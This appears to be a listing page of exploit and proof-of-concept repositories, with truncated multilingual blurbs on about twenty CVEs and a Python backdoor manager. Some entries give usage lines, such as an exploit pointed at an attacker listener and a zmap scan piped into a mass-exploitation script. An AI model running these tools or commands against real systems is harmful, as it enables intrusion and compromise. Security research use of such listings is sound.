CVE-2021-24499

CVE-2021-24499 大规模利用 CVE-2021-24499，未经身份验证的上传导致 Workreap 主题中的远程代码执行。 AJAX 操作 workreapawardtempfileuploader 和 workreaptempfileuploader 未执行 nonce 检查，也未以任何其他方式验证请求是否来自有效用户。这些端点允许将任意文件上传到 uploads/workreap-temp 目录。上传的文件既未经过净化也未进行验证，允许未经身份验证的访客上传可执行代码，例如 php 脚本。...

CVE-2024-22198_Checker

CVE-2024-22198 - ejecución remota de código autenticado en Nginx-ui Descripción Esta herramienta está diseñada para comprobar de forma remota la versión de Nginx-ui y notificar si es vulnerable a CVE-2024-22198. Nginx-UI es una interfaz web para gestionar configuraciones de Nginx. Es vulnerable a...

CVE-2023-47460

CVE-2023-47460 Descripción Vulnerabilidad de inyección SQL en Knovos Discovery v.22.67.0 permite a un atacante remoto ejecutar código arbitrario a través del componente /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure Tipo de Vulnerabilidad Inyección SQL Proveedor del Producto Knovos...

CVE-2022-30190

CVE-2022-30190 Microsoft Office Word Rce 复现CVE-2022-30190 漏洞简介 MS Office docx 文件可能包含作为 HTML 文件的外部 OLE 对象引用。有一个 HTML 场景 ms-msdt: 调用 msdt 诊断工具，它能够执行任意代码（在参数中指定）。 结果是一个可怕的攻击向量，通过打开恶意 docx 文件（不使用宏）来获取 RCE。 开始复现 在 Twitter 上获得了@naosec 首次分享的样本，下载下来。 用压缩包打开 02-2022-0438.doc 打开/word/rels/document.xml.rels...

CVE-2021-34527

PrintNightmare CVE-2021-34527 Esta versión del exploit de PrintNightmare se basa en el código creado por Cube0x0, con las siguientes características: Capacidad para atacar múltiples hosts. Servidor SMB integrado para la entrega del payload, eliminando la necesidad de recursos compartidos de...

OA-tongda-RCE

OA-tongda-RCE | Office Anywhere Sistema de oficina inteligente en red Getshell en el panel de administración Sin autenticación 1. Vulnerabilidad de subida de archivos arbitrarios /ispirit/im/upload.php 2. Vulnerabilidad de inclusión de archivos locales /ispirit/interface/gateway.php Bypass de...

CVE-2022-42889-POC

CVE-2022-42889-POC Prueba de concepto para la vulnerabilidad de Apache commons-text CVE-2022-42889. ¿Cuál es el problema? : Apache Commons Text realiza interpolación de variables, permitiendo que las propiedades se evalúen y expandan dinámicamente. El formato estándar para la interpolación es...

Exploit-CVE-2024-26503

Open eClass RCE 利用工具 此工具旨在利用 Open eClass 平台中已知的漏洞（CVE-2024-26503），通过无限制文件上传缺陷实现远程代码执行（RCE）。攻击者可利用该漏洞上传 Web Shell 至服务器，从而执行任意命令。 免责声明 本工具仅用于教育和道德安全测试目的。我对因使用本工具而导致的任何滥用或损害概不负责。用户必须获得目标系统的明确授权才能进行测试。 前提条件 使用本工具前，请确保您的系统已安装 Python 3.x，并通过 pip 安装 requests 库： root@kitploit: pip install requests 安装...

CVE-2025-1974

🚨 通过 Ingress-NGINX 准入控制器进行日志注入测试 🧠 概述 此脚本用于测试 Kubernetes 集群中 NGINX Ingress 控制器的注解注入漏洞。它仅用于检测目的 ，涉及 CVE-2025-1974，该漏洞允许恶意注解影响 NGINX 配置。 📚 背景 该漏洞由 Wiz.io 披露（博客文章），涉及控制器未正确处理注入的注解。例如： root@kitploit: nginx.ingress.kubernetes.io/auth-url: "http://placeholder/; errorlog /root/thispathshouldntexist.log...

cve-2024-32651

cve-2024-32651 changedetection rce mediante ssti...

CVE-2024-21413

CVE-2024-21413 - Expect 脚本 POC Microsoft Outlook 凭据泄露及远程代码执行漏洞，当与 CVE-2023-21716 配合使用时（通过预览面板） CVSS:3.1 9.8 / 8.5 Outlook 应该会警告你打开外部链接的风险 = 但实际情况并非如此！ 用法：./cve-2024-21413.sh mx.fqdn 端口 发件人 收件人 url ./cve-2024-21413.sh mail.mydomain.com 25 [email protected] [email protected]...

CVE-2018-5353

CVE-2018-5353 Zoho ManageEngine ADSelfServicePlus Client Privilege Escalation/RCE Information Vendor: Zohocorp Product: ManageEngine ADSelfServicePlus Versions Affected: Before 5.5 build 5517 Researcher: Jason Juntunen aka @missing0x00 https://github.com/missing0x00 CVSS: 8.8 Description The cust...

vulnerability_struts-2.3.31

vulnerabilidadstruts-2.3.31 Construye el entorno de struts-2.3.31 CVE-2017-5638. Es posible realizar solicitudes https. entorno Ubuntu 20.04 Docker 20.10.12 curl 7.68.0 Inicio del servidor Usaremos la imagen docker tomcat:7.0-jre8. Descomprime struts-2.3.31.zip en un directorio de tu elección. cd...

CVE-2022-39196-

CVE-2022-39196 Black board CMS: Escalada de Privilegios La versión 1.10.1 de Blackboard Learn permite a los usuarios autenticados remotos leer archivos no previstos al introducir credenciales de estudiante y visitar directamente una determinada URL de webapps/bbcms/execute/. Información adicional...

cve-2019-9978

cve-2019-9978 本脚本能够以简单直接的方式利用 CVE-2019-9978 漏洞，适用于 Capture The Flag CTF 挑战或作为渗透测试的概念验证。 前置条件 Python 3 Requests 库（使用 pip install requests 安装） 使用方法 1. 克隆或下载本仓库。 2. 打开终端并进入脚本所在目录。 3. 使用以下选项运行脚本： root@kitploit: ./cve-2019-9978.py -u http://target.com:9999 -c "yoursystemcommand" -l yourip:yourport - -...

CVE-2024-23692-RCE

TG Join Us https://t.me/WanLiChangChengWanLiChang 加入我们定时查收各类漏洞 EXP POC CVE-2024-23692-RCE-EXP CVE-2024-23692 Rejetto HTTP HFS服务器 RCE FOFA "HttpFileServer" 注意事项 影响范围为 HFS2.3 及以下版本 使用方法 How To Use ulimit -n 999999; zmap -p PORT -B500M | go run hfs.go PORT CHANGE THE PORT WHICH U WANNA TO EXPLOIT TE...

file-away-exploit

File-Away 漏洞利用（CVE-2025-2539 和 CVE-2025-2512） 📌 目的 本仓库包含 File-Away（一个用于文件管理的 WordPress 插件）的漏洞详情和利用脚本。 该插件存在两个可导致远程代码执行的漏洞（ 已在 File-Away 3.9.9.0.1 上测试 ）： CVE-2025-2539：未认证的任意文件读取 CVE-2025-2512：未认证的任意文件上传 📖 未认证的任意文件读取 File-Away WordPress 插件在 3.9.9.0.1 及之前的所有版本中存在未认证的任意文件读取漏洞。...

Shelly

Shelly | 简单的Python后门管理器（基于weevely） Shelly 是一个用 Python 编写的简单工具，用于远程控制网站。 安装 : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py 要求 : root@kitploit: sudo pip install -r requirements.txt 示例 : root@kitploit: python3 shell.py -g wp-log -p tegal1337 / / / / / \ / / -/ / / /...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 El CVE para este problema es CVE-2022-26318...

CVE-2021-40444-POC

CVE-2021-40444-POC Un intento de reproducir la vulnerabilidad de ejecución remota de código RCE de Microsoft MSHTML utilizando Metasploit Framework. funciona mejor si no se ejecuta en FlareVM PREPARACIÓN Clona el repositorio desde https://github.com/lockedbyte/CVE-2021-40444 Prepara la plantilla...